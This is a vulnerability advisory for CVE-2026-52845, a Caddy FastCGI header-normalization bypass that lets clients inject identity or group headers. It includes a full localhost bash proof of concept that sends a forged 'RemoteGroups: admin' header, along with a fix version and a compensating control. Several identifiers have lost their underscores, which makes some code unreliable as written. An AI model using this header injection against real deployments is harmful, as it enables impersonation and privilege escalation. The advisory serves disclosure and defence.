CVE-2026-52845: Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`
Summary
forwardauth copyheaders deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through phpfastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with .
This lets a client send an underscore alias that survives the forwardauth delete step but becomes the same PHP/FastCGI variable:
text Remote-Groups -> HTTPREMOTEGROUPS RemoteGroups -> HTTPREMOTEGROUPS
Remote-User -> HTTPREMOTEUSER RemoteUser -> HTTPREMOTEUSER
Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.
Details
forwardauth copyheaders intentionally removes client-controlled headers before setting values from the auth response:
- modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212 - modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222
That delete is exact-field deletion through http.Header.Del():
- modules/caddyhttp/headers/headers.go:255 - modules/caddyhttp/headers/headers.go:281
So deleting Remote-Groups does not delete RemoteGroups.
Later, FastCGI exports all request headers into CGI variables:
- modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410 - modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414 - modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510
The normalizer replaces hyphens with underscores:
go strings.NewReplacer(" ", "", "-", "")
So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.
This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.
PoC
Run from the Caddy repository root with bash:
bash set -euo pipefail
tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX) mkdir -p "$tmpdir/www" printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"
cat > "$tmpdir/servers.go" <<'GO' package main
import ( "fmt" "log" "net" "net/http" "net/http/fcgi" )
func main() { go func() { mux := http.NewServeMux() mux.HandleFunc("/auth", func(w http.ResponseWriter, r http.Request) { w.Header().Set("Remote-User", "alice") w.WriteHeader(http.StatusNoContent) }) log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux)) }()
ln, err := net.Listen("tcp", "127.0.0.1:19010") if err != nil { log.Fatal(err) } log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { fmt.Fprintf(w, "HTTPREMOTEUSER=%s\nHTTPREMOTEGROUPS=%s\n", r.Header.Get("Remote-User"), r.Header.Get("Remote-Groups")) }))) } GO
cat > "$tmpdir/Caddyfile" <<EOF { admin off autohttps off debug }
:9082 { log root $tmpdir/www forwardauth 127.0.0.1:19011 { uri /auth copyheaders Remote-User Remote-Groups } phpfastcgi 127.0.0.1:19010 } EOF
cleanup() { kill "${caddypid:-}" "${serverspid:-}" 2>/dev/null || true } trap cleanup EXIT
go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 & serverspid=$!
for i in $(seq 1 80); do if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 && (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then break fi sleep 0.25 done
go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 & caddypid=$!
for i in $(seq 1 80); do if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then break fi sleep 0.25 done
curl --noproxy '' -v http://127.0.0.1:9082/index.php curl --noproxy '' -v -H 'RemoteGroups: admin' http://127.0.0.1:9082/index.php cat "$tmpdir/caddy.log"
Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:
Baseline:
text > GET /index.php HTTP/1.1 < HTTP/1.1 200 OK
HTTPREMOTEUSER=alice HTTPREMOTEGROUPS=
With attacker header:
text > GET /index.php HTTP/1.1 > RemoteGroups: admin < HTTP/1.1 200 OK
HTTPREMOTEUSER=alice HTTPREMOTEGROUPS=admin
Caddy debug log confirms the FastCGI environment contained:
text "HTTPREMOTEUSER": "alice" "HTTPREMOTEGROUPS": "admin"
The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.
Impact
This affects Caddy deployments that use:
- forwardauth with copyheaders for identity or authorization headers; - phpfastcgi / FastCGI after the auth check; - a PHP/FastCGI application that trusts the resulting HTTP variables.
Impact examples:
- deterministic group/role injection when the auth gateway omits an optional header, e.g. RemoteGroups: admin becomes HTTPREMOTEGROUPS=admin; - probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and RemoteUser both map to HTTPREMOTEUSER.
Realistic examples include trusted-header SSO deployments such as Firefly III remoteuserguard using HTTPREMOTEUSER, or MediaWiki Authremoteuser using HTTPXAUTHENTIKUSERNAME.
AI disclosure
The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.
Other sources
Caddy is an extensible server platform that uses TLS by default. Prior to 2.11.4, forwardauth copyheaders deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through phpfastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with . This lets a client send an underscore alias that survives the forwardauth delete step but becomes the same PHP/FastCGI variable. Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. This vulnerability is fixed in 2.11.4.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/caddyserver/caddy/v2to a version that resolves this vulnerability.Fixed in 2.11.4 - Upgrade
Upgrade
Caddyto a version that resolves this vulnerability.Fixed in 2.11.4 - Compensating control
If you cannot upgrade immediately, prevent PHP/FastCGI backends from trusting client-controlled identity/group headers that may be mapped into CGI variables (e.g., do not trust HTTP_REMOTE_USER/HTTP_REMOTE_GROUPS derived from HTTP Remote-User/Remote-Groups).
Event History
Frequently Asked Questions
What is the severity of CVE-2026-52845?
CVE-2026-52845 has a severity rating of high, with a score of 8.1.
What is the risk level of CVE-2026-52845?
CVE-2026-52845 is associated with a risk level of 60.
How do I fix CVE-2026-52845?
To mitigate CVE-2026-52845, ensure proper validation and sanitization of client-supplied identity headers.
What impact could CVE-2026-52845 have on my application?
CVE-2026-52845 could allow an attacker to manipulate identity headers, potentially leading to security breaches.
Which software versions are affected by CVE-2026-52845?
CVE-2026-52845 affects versions of Caddy found in go/github.com/caddyserver/caddy and go/github.com/caddyserver/caddy/v2.